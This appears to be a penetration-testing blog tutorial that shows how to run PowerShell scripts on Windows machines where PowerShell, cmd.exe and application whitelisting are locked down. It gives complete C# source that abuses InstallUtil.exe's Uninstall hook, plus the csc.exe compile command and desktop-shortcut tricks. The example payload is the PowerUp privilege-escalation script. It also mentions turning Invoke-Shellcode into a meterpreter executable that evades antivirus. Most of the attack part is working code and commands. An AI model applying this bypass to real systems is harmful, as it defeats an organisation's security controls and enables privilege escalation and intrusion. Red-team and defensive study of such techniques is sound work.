Powershell Without Powershell – How To Bypass Application Whitelisting, Environment Restrictions & AV

Brian Fehrman (With shout outs to: Kelsey Bellew, Beau Bullock) //

In a previous blog post, we talked about bypassing AV and Application Whitelisting by using a method developed by Casey Smith. In a recent engagement, we ran into an environment with even more restrictions in place. Not only did they have AV and Application Whitelisting, but they were also blocking the use of PowerShell and cmd.exe. We have run into a few instances where this was the case. More and more, companies are realizing that normal users don’t need access to cmd.exe, PowerShell, or other cool tools. We feel that these are excellent steps to take in securing an environment. Defenders must realize, however, that there are potential ways around these restrictions.

If you’ve ever watched our Sacred Cash Cow tipping series, you’ve likely seen the method that I developed for executing the Invoke-Shellcode.ps1 file from within a C# program. Essentially, you turn the Invoke-Shellcode.ps1 file into one, long, single-line and embed it as a string variable within the C# program. The result is a stand-alone executable that spawns a meterpreter shell and bypasses most AV products. Teaser Alert: the full walkthrough for that will come in a future video blog-post.

So what does that have to do with this blog post? Well, we can extend that concept to allow us to execute any PowerShell script within an environment that doesn’t otherwise allow for PowerShell execution. How does it work? The magic is in the fact that both C# and PowerShell are effectively just frontends for the .NET framework. We are taking advantage of the fact that we can use C# executables to directly call the same .NET functionality that is accessed by PowerShell. If you wanted to, you could just write C# programs to do whatever your PowerShell scripts do…but why go through all that work when you already have the PowerShell scripts?

Enough talk, let’s do this! Create a new, blank text-file on your Windows Desktop and name it Program.cs. You can call it whatever you want…but that’s just a suggestion. Open it up in an editor, such as NotePad++. First, we need to import some functionality by adding the following using statements to the top of the file:

using System;
 using System.Configuration.Install;
 using System.Runtime.InteropServices;
 using System.Management.Automation.Runspaces;

In order for our program to compile properly, we need to define a class that contains a method named Main(). Typically, this would be the main entry point into our program. We will call our class the same name as our Program.cs file. Add the following lines to the end of your Program.cs file:

public class Program
 {
    public static void Main()
    {
    }
 }

The next step is to define the true entry point for our program. We will be using the InstallUtil.exe utility to run our program rather than executing it directly. This is the wizardry that can allow us to bypass application-whitelisting restrictions. In order to do this, we define a class named Sample that inherits from the Installer class. We then declare a method named Uninstall, which will be the true entry point to our program. In this case, the first task our program will perform will be to call a method named Exec that is part of a class named Mycode. We also add a statement above the class declaration to say that this method is expected to be run as part of an installation process. Add the following lines to the bottom of your Program.cs file:

[System.ComponentModel.RunInstaller(true)]
 public class Sample : System.Configuration.Install.Installer
 {
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
 Mycode.Exec();
 }
 }

The final piece to our program is to define the Mycode class and a method named Exec. The method reads in a PowerShell script that is located at the path that is defined in the @” “ notation. In this case, my PowerShell script is located at C:\Users\fmc\Desktop\PowerUp.ps1. The lines that follow this are used to set up variables and parameters that are needed in order to execute the PowerShell script. Finally, the PowerShell script is executed with the pipeline.Invoke() call. Add the following lines to the end of your Program.cs file:

public class Mycode
 {
 public static void Exec()
 {
 string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
 RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
 Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
 rspace.Open();
 Pipeline pipeline = rspace.CreatePipeline();
 pipeline.Commands.AddScript(command);
 pipeline.Invoke();
 }
 }

The entire Program.cs file should look as follows:

using System;
 using System.Configuration.Install;
 using System.Runtime.InteropServices;
 using System.Management.Automation.Runspaces;
 public class Program
 {
 public static void Main()
 {
 }
 }
 [System.ComponentModel.RunInstaller(true)]
 public class Sample : System.Configuration.Install.Installer
 {
 public override void Uninstall(System.Collections.IDictionary savedState)
 {
 Mycode.Exec();
 }
 }
 public class Mycode
 {
 public static void Exec()
 {
 string command = System.IO.File.ReadAllText(@"C:\Users\fmc\Desktop\PowerUp.ps1");
 RunspaceConfiguration rspacecfg = RunspaceConfiguration.Create();
 Runspace rspace = RunspaceFactory.CreateRunspace(rspacecfg);
 rspace.Open();
 Pipeline pipeline = rspace.CreatePipeline();
 pipeline.Commands.AddScript(command);
 pipeline.Invoke();
 }
 }

In this example, I am using Veil-Framework’s PowerUp script. Previously, you’d run the script from within a PowerShell prompt and output the results to a file by doing something like the following:

Import-Module PowerUp.ps1
 Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

In order for the function to be called with this method, we need to add an explicit function call to the end of the script. Open up the PowerUp.ps1 script and add the function call to the very bottom of the file. Make sure to name your Out-File parameter to suit your environment. Save the script and exit.

Invoke-AllChecks -Verbose | Out-File C:\Users\fmc\Desktop\allchecks.txt

Now we need to compile our program. We are going to use the csc.exe utility to perform the compilation. We have to pass in a couple of flags in order for the program to properly compile. The following command can be used to compile the Program.cs file and generate an executable named powerup.exe:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe C:\Users\fmc\Desktop\Program.cs

But…wait…what if cmd.exe is locked down? No worries. Open File Explorer and navigate to:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

Right-click on the csc.exe file and choose Create shortcut. You will get a message saying that you can’t create a shortcut there and it will prompt you to create one on your desktop. Just click yes.

Now, head to your desktop. Right-click the csc.exe shortcut and choose Properties.

Click on the Shortcut tab, select all of the text in the Target field, and then replace it with the following text (making sure to replace C:\Users\fmc\Desktop\powerup.exe with a filename that will match your environment):

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
/r:C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__
31bf3856ad364e35\System.Management.Automation.dll /unsafe /platform:anycpu
/out:C:\Users\fmc\Desktop\powerup.exe

Then, click Apply and close the Properties window. What we’ve done here are specified parameters to pass into csc.exe when we use this shortcut to execute it. The Program.cs path is purposefully left off for two reasons. The main reason is that the Target field has a maximum character limit and adding in the full path to your Program.cs file will likely exceed this limit. The full path to the Program.cs file will automatically be passed as an argument to the csc.exe program during the upcoming drag-and-drop step of this tutorial.

To compile your Program.cs file, simply drag and drop the Program.cs file onto the csc.exe shortcut icon on your desktop. If everything went well, you should get a powerup.exe file on your desktop. Congrats, you just compiled a CSharp program without using the command line or Visual Studio!

Finally, we need to run our program by using the InstallUtil.exe utility. This process will be similar to how we used the csc.exe application. Navigate back to:

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\

Right-click on the InstallUtil.exe file and choose Create shortcut. You will get a message saying that you can’t create a shortcut there and it will prompt you to create one on your desktop. Just click yes.

Head to your Desktop, right-click on the InstallUtil shortcut and click Properties.

Under the Shortcut tab, delete everything in the Target field and replace with the following (making sure to change the log file name to match your environment):

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\InstallUtil.exe
/logfile=C:\Users\fmc\Desktop\log.txt /LogToConsole=false /U

Click Apply and then close the properties window.

Now, head back to your Desktop if you’re not already there. Drag the powerup.exe file onto the InstallUtil shortcut file.

You should see a command prompt pop up while the script executes. If you open Task Manager, however, you’ll notice that cmd.exe isn’t in the process list; only InstallUtil.exe.

We can confirm this by running the following from a Windows command prompt right after we drag the powerup.exe file onto the InstallUtil shortcut:

wmic process list full > Desktop\save.txt

From inspecting the output of the wmic command, we find that InstallUtil.exe was actually called via explorer.exe and not cmd.exe. Sweet!

Once the script finishes executing, you should find the allchecks.txt file on your desktop. Open the allchecks.txt file to inspect the output from the PowerUp.ps1 Invoke-AllChecks method.

There you have it. We have a method to execute PowerShell scripts in environments that have application whitelisting enabled and have disabled access to powershell.exe and cmd.exe. You can run virtually any PowerShell script that you want to with this. Just a few items to note though:

  • Make sure your script doesn’t use Write-Host
  • This will cause the program to crash
  • Use Write-Output or Out-File instead
  • If your script prompts for user input, use the -Force option when you insert the function call at the bottom of your PowerShell script
  • There may be other characters and functions that cause issues for this method. Please let me know if you run into any and we can try to get it sorted out.

This method can also be used to bypass AV. We will give a walkthrough of that process in an upcoming video segment!



Ready to learn more?

Level up your skills with affordable classes from Antisyphon!

Pay-What-You-Can Training

Available live/virtual and on-demand